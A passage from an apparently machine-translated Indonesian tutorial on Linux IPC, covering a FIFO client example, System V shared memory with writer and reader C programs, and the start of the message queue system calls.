readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Langkah Kompilasi dan Eksekusi
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
Memori bersama adalah memori bersama antara dua atau lebih proses. Namun, mengapa kita perlu berbagi memori atau alat komunikasi lainnya?
Untuk mengulangi, setiap proses memiliki ruang alamatnya sendiri, jika ada proses yang ingin berkomunikasi dengan beberapa informasi dari ruang alamatnya sendiri ke proses lain, maka itu hanya mungkin dengan teknik IPC (komunikasi antar proses). Seperti yang sudah kita sadari, komunikasi bisa terjadi antara proses yang terkait atau tidak.
Biasanya, proses komunikasi yang saling berhubungan dilakukan menggunakan Pipes atau Named Pipes. Proses yang tidak terkait (katakanlah satu proses berjalan di satu terminal dan proses lain di terminal lain) komunikasi dapat dilakukan menggunakan Named Pipes atau melalui teknik IPC populer dari Memori Bersama dan Antrian Pesan.
Kami telah melihat teknik IPC dari Pipa dan pipa Bernama dan sekarang saatnya untuk mengetahui teknik IPC yang tersisa yaitu, Memori Bersama, Antrian Pesan, Semaphores, Sinyal, dan Pemetaan Memori.
Di bab ini, kita akan mengetahui semua tentang memori bersama.
Kita tahu bahwa untuk berkomunikasi antara dua atau lebih proses, kita menggunakan memori bersama tetapi sebelum menggunakan memori bersama apa yang perlu dilakukan dengan panggilan sistem, mari kita lihat ini -
Buat segmen memori bersama atau gunakan segmen memori bersama yang sudah dibuat (shmget ())
Lampirkan proses ke segmen memori bersama yang sudah dibuat (shmat ())
Lepaskan proses dari segmen memori bersama yang sudah terpasang (shmdt ())
Operasi kontrol pada segmen memori bersama (shmctl ())
Mari kita lihat beberapa detail panggilan sistem yang terkait dengan memori bersama.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
Panggilan sistem di atas membuat atau mengalokasikan segmen memori bersama Sistem V. Argumen yang perlu dilewatkan adalah sebagai berikut -
Itu first argument, key,mengenali segmen memori bersama. Kuncinya bisa berupa nilai arbitrer atau yang bisa diturunkan dari fungsi library ftok (). Kuncinya juga dapat berupa IPC_PRIVATE, artinya, menjalankan proses sebagai server dan klien (hubungan induk dan anak) yaitu komunikasi proses yang saling terkait. Jika klien ingin menggunakan memori bersama dengan kunci ini, maka itu harus merupakan proses turunan dari server. Selain itu, proses anak perlu dibuat setelah orang tua memperoleh memori bersama.
Itu second argument, size, adalah ukuran segmen memori bersama yang dibulatkan menjadi kelipatan PAGE_SIZE.
Itu third argument, shmflg,menentukan bendera memori bersama yang diperlukan seperti IPC_CREAT (membuat segmen baru) atau IPC_EXCL (Digunakan dengan IPC_CREAT untuk membuat segmen baru dan panggilan gagal, jika segmen sudah ada). Harus melewati izin juga.
Note - Lihat bagian sebelumnya untuk detail tentang izin.
Panggilan ini akan mengembalikan pengenal memori bersama yang valid (digunakan untuk panggilan lebih lanjut dari memori bersama) jika berhasil dan -1 jika terjadi kegagalan. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
Panggilan sistem di atas melakukan operasi memori bersama untuk segmen memori bersama Sistem V yaitu, melampirkan segmen memori bersama ke ruang alamat proses panggilan. Argumen yang perlu dilewatkan adalah sebagai berikut -
The first argument, shmid,adalah pengenal segmen memori bersama. Id ini adalah pengenal memori bersama, yang merupakan nilai kembalian dari panggilan sistem shmget ().
The second argument, shmaddr,adalah menentukan alamat lampiran. Jika shmaddr adalah NULL, sistem secara default memilih alamat yang sesuai untuk memasang segmen. Jika shmaddr bukan NULL dan SHM_RND ditentukan di shmflg, lampirkan sama dengan alamat dari beberapa SHMLBA terdekat (Alamat Batas Bawah). Jika tidak, shmaddr harus berupa alamat halaman yang selaras di mana lampiran memori bersama terjadi / dimulai.
The third argument, shmflg, menentukan flag memori bersama yang diperlukan seperti SHM_RND (pembulatan alamat ke SHMLBA) atau SHM_EXEC (memungkinkan konten segmen untuk dieksekusi) atau SHM_RDONLY (melampirkan segmen untuk tujuan hanya-baca, secara default adalah baca-tulis) atau SHM_REMAP (menggantikan pemetaan yang ada dalam kisaran yang ditentukan oleh shmaddr dan berlanjut hingga akhir segmen).
Panggilan ini akan mengembalikan alamat segmen memori bersama yang terpasang saat berhasil dan -1 jika terjadi kegagalan. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
Panggilan sistem di atas melakukan operasi memori bersama untuk segmen memori bersama Sistem V untuk melepaskan segmen memori bersama dari ruang alamat proses panggilan. Argumen yang perlu disampaikan adalah -
Argumennya, shmaddr, adalah alamat segmen memori bersama yang akan dilepas. Segmen yang harus dilepas harus berupa alamat yang dikembalikan oleh panggilan sistem shmat ().
Panggilan ini akan menghasilkan 0 jika berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
Panggilan sistem di atas melakukan operasi kontrol untuk segmen memori bersama Sistem V. Argumen berikut harus diteruskan -
Argumen pertama, shmid, adalah pengenal segmen memori bersama. Id ini adalah pengenal memori bersama, yang merupakan nilai kembalian dari panggilan sistem shmget ().
Argumen kedua, cmd, adalah perintah untuk melakukan operasi kontrol yang diperlukan pada segmen memori bersama.
Nilai yang valid untuk cmd adalah -
IPC_STAT- Menyalin informasi dari nilai saat ini dari setiap anggota struct shmid_ds ke struktur yang dilewati yang ditunjukkan oleh buf. Perintah ini memerlukan izin baca ke segmen memori bersama.
IPC_SET - Menetapkan ID pengguna, ID grup dari pemilik, izin, dll. Yang ditunjukkan oleh struktur buf.
IPC_RMID- Menandai segmen yang akan dihancurkan. Segmen dihancurkan hanya setelah proses terakhir melepaskannya.
IPC_INFO - Mengembalikan informasi tentang batas memori bersama dan parameter dalam struktur yang ditunjukkan oleh buf.
SHM_INFO - Mengembalikan struktur shm_info yang berisi informasi tentang sumber daya sistem yang dipakai oleh memori bersama.
Argumen ketiga, buf, adalah penunjuk ke struktur memori bersama bernama struct shmid_ds. Nilai struktur ini akan digunakan baik untuk set atau get sesuai cmd.
Panggilan ini mengembalikan nilai tergantung pada perintah yang diteruskan. Setelah keberhasilan IPC_INFO dan SHM_INFO atau SHM_STAT mengembalikan indeks atau pengenal segmen memori bersama atau 0 untuk operasi lain dan -1 jika terjadi kegagalan. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Mari kita simak contoh program berikut ini.
Buat dua proses, satu untuk menulis ke memori bersama (shm_write.c) dan lainnya untuk membaca dari memori bersama (shm_read.c)
Program melakukan penulisan ke dalam memori bersama dengan proses tulis (shm_write.c) dan membaca dari memori bersama dengan proses membaca (shm_read.c)
Dalam memori bersama, proses penulisan, membuat memori bersama berukuran 1K (dan bendera) dan melampirkan memori bersama
Proses tulis menulis 5 kali Huruf dari 'A' ke 'E' masing-masing 1023 byte ke dalam memori bersama. Byte terakhir menandakan akhir buffer
Proses baca akan membaca dari memori bersama dan menulis ke output standar
Tindakan proses membaca dan menulis dilakukan secara bersamaan
Setelah selesai menulis, proses menulis diperbarui untuk menunjukkan penyelesaian penulisan ke dalam memori bersama (dengan variabel lengkap di struct shmseg)
Proses membaca melakukan pembacaan dari memori bersama dan ditampilkan pada output hingga mendapat indikasi penyelesaian proses tulis (variabel lengkap di struct shmseg)
Melakukan proses membaca dan menulis beberapa kali untuk penyederhanaan dan juga untuk menghindari loop tak terbatas dan memperumit program
Berikut adalah kode untuk proses penulisan (Menulis ke Memori Bersama - File: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Langkah Kompilasi dan Eksekusi
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Berikut adalah kode untuk proses membaca (Membaca dari Memori Bersama dan menulis ke output standar - File: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Langkah Kompilasi dan Eksekusi
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Mengapa kita membutuhkan antrian pesan ketika kita sudah memiliki memori bersama? Karena berbagai alasan, mari kita coba memecahnya menjadi beberapa poin untuk penyederhanaan -
Seperti yang dipahami, setelah pesan diterima oleh suatu proses, pesan itu tidak lagi tersedia untuk proses lain. Sedangkan dalam memori bersama, data tersedia untuk beberapa proses untuk diakses.
Jika kita ingin berkomunikasi dengan format pesan kecil.
Data memori bersama perlu dilindungi dengan sinkronisasi ketika beberapa proses berkomunikasi pada waktu yang sama.
Frekuensi penulisan dan pembacaan menggunakan shared memory tinggi, maka akan sangat kompleks untuk mengimplementasikan fungsinya. Tidak layak untuk digunakan dalam kasus semacam ini.
Bagaimana jika semua proses tidak perlu mengakses memori bersama tetapi sangat sedikit proses yang hanya membutuhkannya, akan lebih baik untuk mengimplementasikan dengan antrian pesan.
Jika kita ingin berkomunikasi dengan paket data yang berbeda, misalkan proses A mengirim tipe pesan 1 ke proses B, tipe pesan 10 ke proses C, dan tipe pesan 20 ke proses D. Dalam hal ini, lebih mudah untuk diimplementasikan dengan antrian pesan. Untuk menyederhanakan jenis pesan yang diberikan sebagai 1, 10, 20, dapat berupa 0 atau + ve atau –ve seperti yang dibahas di bawah ini.
Tentu, urutan antrian pesannya adalah FIFO (First In First Out). Pesan pertama yang dimasukkan ke dalam antrian adalah yang pertama diambil.
Menggunakan Memori Bersama atau Antrean Pesan bergantung pada kebutuhan aplikasi dan seberapa efektif aplikasi tersebut dapat digunakan.
Komunikasi menggunakan antrian pesan dapat terjadi dengan cara berikut -
Menulis ke dalam memori bersama dengan satu proses dan membaca dari memori bersama dengan proses lain. Seperti yang kita ketahui, membaca juga bisa dilakukan dengan banyak proses.
Menulis ke dalam memori bersama dengan satu proses dengan paket data yang berbeda dan membacanya dengan beberapa proses, yaitu sesuai jenis pesan.
Setelah melihat informasi tertentu tentang antrian pesan, sekarang saatnya untuk memeriksa panggilan sistem (Sistem V) yang mendukung antrian pesan.
Untuk melakukan komunikasi menggunakan antrian pesan, berikut adalah langkah-langkahnya -
Step 1 - Buat antrian pesan atau hubungkan ke antrian pesan yang sudah ada (msgget ())
Step 2 - Tulis ke antrian pesan (msgsnd ())
Step 3 - Baca dari antrian pesan (msgrcv ())
Step 4 - Lakukan operasi kontrol pada antrian pesan (msgctl ())
Sekarang, mari kita periksa sintaks dan informasi tertentu pada panggilan di atas.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
Panggilan sistem ini membuat atau mengalokasikan antrian pesan Sistem V. Argumen berikut harus diteruskan -
Argumen pertama, key, mengenali antrian pesan. Kuncinya bisa berupa nilai arbitrer atau yang bisa diturunkan dari fungsi library ftok ().
Argumen kedua, shmflg, menentukan flag antrian pesan yang diperlukan seperti IPC_CREAT (membuat antrian pesan jika tidak ada) atau IPC_EXCL (Digunakan dengan IPC_CREAT untuk membuat antrian pesan dan panggilan gagal, jika antrian pesan sudah ada). Harus melewati izin juga.
Note - Lihat bagian sebelumnya untuk detail tentang izin.
Panggilan ini akan mengembalikan pengenal antrian pesan yang valid (digunakan untuk panggilan antrian pesan selanjutnya) saat berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
Berbagai kesalahan sehubungan dengan panggilan ini adalah EACCESS (izin ditolak), EEXIST (antrian sudah ada tidak dapat dibuat), ENOENT (antrian tidak ada), ENOMEM (tidak cukup memori untuk membuat antrian), dll.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
Panggilan sistem ini mengirim / menambahkan pesan ke dalam antrian pesan (Sistem V). Argumen berikut harus diteruskan -
Argumen pertama, msgid, mengenali antrian pesan, yaitu pengenal antrian pesan. Nilai pengenal diterima setelah keberhasilan msgget ()
Argumen kedua, msgp, adalah penunjuk ke pesan, yang dikirim ke pemanggil, didefinisikan dalam struktur formulir berikut -
struct msgbuf {
long mtype;
char mtext[1];
};
Variabel mtype digunakan untuk berkomunikasi dengan jenis pesan yang berbeda, dijelaskan secara rinci dalam panggilan msgrcv (). Variabel mtext adalah sebuah array atau struktur lain yang ukurannya ditentukan oleh msgsz (nilai positif). Jika bidang mtext tidak disebutkan, maka itu dianggap sebagai pesan ukuran nol, yang diizinkan.
Argumen ketiga, msgsz, adalah ukuran pesan (pesan harus diakhiri dengan karakter null)
Argumen keempat, msgflg, menunjukkan flag-flag tertentu seperti IPC_NOWAIT (segera dikembalikan ketika tidak ada pesan yang ditemukan dalam antrian atau MSG_NOERROR (memotong teks pesan, jika lebih dari byte msg)
Panggilan ini akan menghasilkan 0 jika berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Panggilan sistem ini mengambil pesan dari antrian pesan (Sistem V). Argumen berikut harus diteruskan -
Argumen pertama, msgid, mengenali antrian pesan, yaitu pengenal antrian pesan. Nilai pengenal diterima setelah keberhasilan msgget ()
Argumen kedua, msgp, adalah penunjuk pesan yang diterima dari pemanggil. Ini didefinisikan dalam struktur formulir berikut -
struct msgbuf {
long mtype;
char mtext[1];
};
Variabel mtype digunakan untuk berkomunikasi dengan tipe pesan yang berbeda. Variabel mtext adalah sebuah array atau struktur lain yang ukurannya ditentukan oleh msgsz (nilai positif). Jika bidang mtext tidak disebutkan, maka itu dianggap sebagai pesan ukuran nol, yang diizinkan.
Argumen ketiga, msgsz, adalah ukuran pesan yang diterima (pesan harus diakhiri dengan karakter null)
Argumen pertama, jenis pesan, menunjukkan jenis pesan -
If msgtype is 0 - Membaca pesan pertama yang diterima dalam antrian
If msgtype is +ve - Membaca pesan pertama dalam antrian jenis msgtype (jika msgtype 10, maka hanya membaca pesan pertama jenis 10 meskipun jenis lain mungkin ada di antrean di awal)
If msgtype is –ve - Membaca pesan pertama dengan tipe terendah kurang dari atau sama dengan nilai absolut tipe pesan (katakanlah, jika msgtype adalah -5, maka pesan pertama berjenis kurang dari 5 yaitu, tipe pesan dari 1 hingga 5)
Argumen kelima, msgflg, menunjukkan bendera tertentu seperti IPC_NOWAIT (segera dikembalikan jika tidak ada pesan yang ditemukan dalam antrian atau MSG_NOERROR (memotong teks pesan jika lebih dari byte msg)
Panggilan ini akan mengembalikan jumlah byte yang benar-benar diterima dalam array mtext saat berhasil dan -1 jika gagal. Untuk mengetahui penyebab kegagalan, periksa dengan variabel errno atau fungsi perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Panggilan sistem ini melakukan operasi kontrol antrian pesan (Sistem V). Argumen berikut harus diteruskan -
